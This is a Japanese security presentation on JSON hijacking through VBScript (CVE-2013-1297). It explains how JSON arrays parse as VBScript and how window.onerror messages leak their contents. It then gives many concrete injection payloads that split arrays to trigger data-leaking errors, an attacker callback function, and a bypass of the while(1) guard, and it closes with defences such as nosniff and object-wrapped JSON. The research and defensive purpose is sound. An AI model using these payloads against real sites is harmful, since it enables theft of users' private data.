VBScriptを使用したJSONハイジャック
CVE-2013-1297 及びその他の攻撃手法

@masa141421356

このスライドは左右の矢印キーでページを移動してください

概要

1. VBScript構文上のJSON配列

[]という特殊文法

VBScript には、識別子を [] で括って参照することで、予約語と衝突する名前の識別子を参照できるという機能があります。

例:[if] は "if" という名前の識別子で if文の始まりの意味はありません

[] 内のルール

"[character-sequence]" 内の, character-seqnenceは VBScriptの文字種の制限が適用されません

  1. ] と改行以外の任意の文字が使用可能
  2. " は単独の有効な文字
  3. ' も単独の有効な文字

つまり

JSON配列は文法的には Valid な VBScriptでもある。

実行させると実行時エラーになるかエラーにならずに実行できるかどちらか

2.攻撃ベクタ

攻撃ベクタは2通り

3.情報の漏洩するエラー

3.1.任意の内容の漏洩するエラー

No.メッセージ英語
13型が一致しません。Type missmatch
424オブジェクトがありません。Object Required
438オブジェクトでサポートされていないプロパティまたはメソッドです。Object doesn't support this property or method
450引数の数が一致していません。または不正のプロパティを指定しています。Wrong number of arguments or invalid property assignment
506クラスが定義されていません。Class not defined

3.2.数値のみ漏洩するエラー

No.メッセージ英語
6オーバーフローしました。Overflow
9インデックスが有効範囲にありません。Subscript out of range

4.攻撃に必要なデータ注入数

4.1.注入不要

error codeerror message
13Type missmatch

4.2.注入が1ヶ所必要

error codeerror message
424Object Required
438Object doesn't support this property or method
450Wrong number of arguments or invalid property assignment
506Class not defined

4.3.注入が2ヶ所必要

error codeerror message
6Overflow
9Subscript out of range

5.秘密情報の取得

VBScriptの Err.Descriptionには文脈依存の内容は含まれませんが、window.onerror の引数には文脈依存の内容も入っていて、そこから秘密情報を抜き取ることが可能です。

<script>
    window.onerror = function(e){ alert(e);};
</script>
<script language="vbs" src="http://example.com/json">

5.1.データ注入無しの情報漏えい

JSON配列全体が VBScriptで識別子と認識可能な場合、Callの省略された Call文扱いとなり、実行時エラー13が発生します。
    ["sensitive","data","is","here"]

この手法だけで十分では? と思うかもしれませんが、これ以外の方法でしかできない攻撃もあるんです。

5.2. 識別子の文字数制限

6.JSON配列を分割する

JSON配列に攻撃者が文字列を注入できる場所があり、]をエスケープしていない場合、 そこでJSON配列を分割することで攻撃が可能になります。

6.1.文字列注入が1ヶ所の場合

ここでは以下の形を考えます。
["sensitive-data-1","$USER-INPUT","sensitive-data-2"]

6.2.sensitive-data-1を得る手法

まず、攻撃者の注入データより前にあるデータを得る方法から。

6.2.1.エラー424(Object requiered)

存在しないオブジェクトのプロパティを参照

["sensitive-data-1","].aa '","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","].aa '","sensitive-data-2"]

6.2.2.エラー438
(Object doesn't support this property or method)

Setを使わずにオブジェクトを代入する
["sensitive-data-1","]=CreateObject("Microsoft.xmlhttp")'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data 1","]=CreateObject("Microsoft.xmlhttp")'","sensitive-data-2"]

6.2.3.エラー13その2

Callの無い Call文を使う
["sensitive-data-1","]'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","]'","sensitive-data-2"]

6.2.4.エラー13その3

未定義変数に配列としてアクセスして実行時エラー13
["sensitive-data-1","](0)=0'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","](0)=0'","sensitive-data-2"]

6.2.5.エラー450
(Wrong number of arguments or invalid property assignment)

関数への参照を未定義の変数へ代入
(funcNameに攻撃者の定義したグローバル関数の名前が入っている状態)
["sensitive-data-1","]=GetRef(funcName)'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data 1","]=GetRef(funcName)'","sensitive-data-2"]

6.3.sensitive-data-2

後半部分を読み取る方法

6.3.1.エラー13その4

前半をエラーの無い代入にして後半でエラー
["sensitive-data-1","]=0:[","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","]=0:[","sensitive-data-2"]

6.3.2.エラー438
Object doesn't support this property or method)

既存オブジェクトの存在しないメンバーへの参照
["sensitive-data-1","]=document.[","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","]=document.[","sensitive-data-2"]

6.3.3.エラー506(Class not defined)

クラスではないものをnew
["sensitive-data-1","]=new [","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data 1","]=new [","sensitive-data-2"]

6.4.文字列注入2箇所

ここでは以下の形を考えます。
ここでは、JSONを生成するモジュールは "\" にエスケープするものとします。
["$USER-INPUT1","sensitive-data","$USER-INPUT2"]

6.4.1.エラー424再び(Object required)

オブジェクトではないものでWith
["]=0:With [","sensitive-data","]:End With'"]
これは以下のように解釈されます。
["]=0:With [","sensitive-data","]:End With'"]

6.4.2.エラー438再び

既存オブジェクトの存在しないメンバーへ代入
["]=0:document.[","sensitive-data","]=1'"]
これは以下のように解釈されます。
["]=0:document.[","sensitive-data","]=1'"]

6.4.3.しつこいけどエラー13

文字列を数値に変換しようとしてエラー。

引数が3つ以上あり、数値であることが要求される引数のところに秘密情報を渡す。以下の関数が攻撃に使用可能。

  1. DateAdd(第2引数)
  2. Mid(第2引数)
  3. MsgBox(第2引数)
  4. RGB(第2引数)

攻撃例

Mid 関数を使った例
["]=0:Mid 0\"1","sensitive-data","1\"'"]
これは以下のように解釈されます。
["]=0:Mid 0\"1","sensitive-data","1\"'"]

6.4.4.エラー 9 (Subscript out of range)

配列のインデクス範囲外のエラー(数値のみ漏洩。Integerの範囲外の場合はエラー6)
ここでは a3d(0,0,0)として配列宣言済みで、秘密情報は"4748923"であるものとします。
["]=0:a3d(0\"1","4748923","0\")=0'"]
これは以下のように解釈されます。
["]=0:a3d(0\"1", "4748923","0\")=0'"]

6.4.5.エラー 6 (Overflow)

配列のインデクスにIntegerの範囲外値を指定。
ここでは a3d(0,0,0)として宣言済みで、秘密情報は"47489234748923"であるものとします。
["]=0:a3d(0\"1","47489234748923","0\")=0'"]
これは以下のように解釈されます。
["]=0:a3d(0\"1","47489234748923","0\")=0'"]

6.4.5.エラー 6 その2

一定の範囲内の数値を引数に要求する関数等に範囲外の数値を渡す。既知の攻撃ベクタ
  1. Redim (配列の添字範囲はLong)
  2. RGB(引数はInteger)
  3. Mid(第2引数はLong)
  4. MsgBox(第2引数はLong)

攻撃例

秘密情報は"4748923"とします。エラーが無い場合はevilValの値から内容を推測可能。
["]=0:evilVal=RGB(0\"1","4748923","0\")'"]
これは以下のように解釈されます。
["]=0:evilVal=RGB(0\"1","4748923","0\")'"]

7.エラーを使わない攻撃

以下のような形の場合を考えます。
["$USER-INPUT1","sensitive-data","$USER-INPUT2"]

7.1.正常に実行する攻撃

攻撃者の用意した関数EvilFuncに秘密情報を渡す。
["]=0:EvilFunc 0\"1","sensitive-data","\"'"]
これは以下のように解釈されます。
["]=0:EvilFunc 0\"1","sensitive-data","\"'"]

これは以下の関数で秘密情報を奪取可能。
function EvilFunc() {
    var s = '';
    for (var i = 0; i < arguments.length; i++) {
        s += '\n  ' + i + ' : ';
        if (typeof arguments[i] === 'string') {
            s += '"' + arguments[i] + '"';
        } else {
          s += arguments[i];
        }
    }
    var m = (/sensitive/.test(s)) ? 'HIJACK SUCCEEDED!!' : 'Hijack failed.';
    alert(m + '\n----------------------------------------\narguments:' + s);
}

7.2.Err.Reise

Err.Raiseで強制的に実行時エラーを起こすことも可能
["]=0:Err.Raise 1,0\"1","sensitive-data","\"'"]
これは以下のように解釈されます。
["]=0:Err.Raise 1,0\"1","sensitive-data","\"'"]

8.JSONを守るには

JSON保護にはいくつかの方法がありますが、私はVBScriptとして実行させないという対策を強く勧めます

  1. VBScriptとしての実行させない
  2. VBScript文法エラーのJSON(1:valid JSON)
  3. VBScript文法エラーのJSON(2:Invalid JSONの構文の枠外)

8.1.VBScriptとして実行させない

X-Content-Type-Options:nosniff

詳細 は @hasegawayosuke さんの日記を読んでください。 http://d.hatena.ne.jp/hasegawayosuke/20130517/p1


以下は、そのような対策が出来ない場合の対策です。

8.2.VBScript構文エラー1

8.2.1.先頭の[の後で改行

最もシンプルな対策です。しかし、以下の理由からお勧めしません。 この方法では構文エラー 1007 (Expected ']') が発生します。
[
"sensitive","data","is","here"]

8.2.2.JSONオブジェクトの形にする

JSONのオブジェクトは "{" で構文エラー 1032 (Invalid character).になるので安全です。
{"data": ["sensitive","data","is","here"]}

8.3.VBScript構文エラー2

8.3.1.先頭にfor(;;);

VBScriptのfor文はforの後に識別子が必要なので構文エラー 1010(Expected identifier)
for(;;);["sensitive","data","is","here"]

8.3.2.先頭にwhile(1);

whileの後の";" で構文エラー 1024(Expected statement)

この方法は UTF-16を使った攻撃手法(http://vwzq.net/challenge/jsonhijack.html)に弱いので推奨しません。

while(1);["sensitive","data","is","here"]

重要

あくまでもエラーを起こすのは ; であって while(1)ではありません。

; のない形だと ]:Wend' を補うことで突破可能です

while(1)
["sensitive-data 1","]:Wend'","sensitive-data-2"]
これは以下のように解釈されます。
while(1)
["sensitive-data 1","]:Wend'","sensitive-data-2"]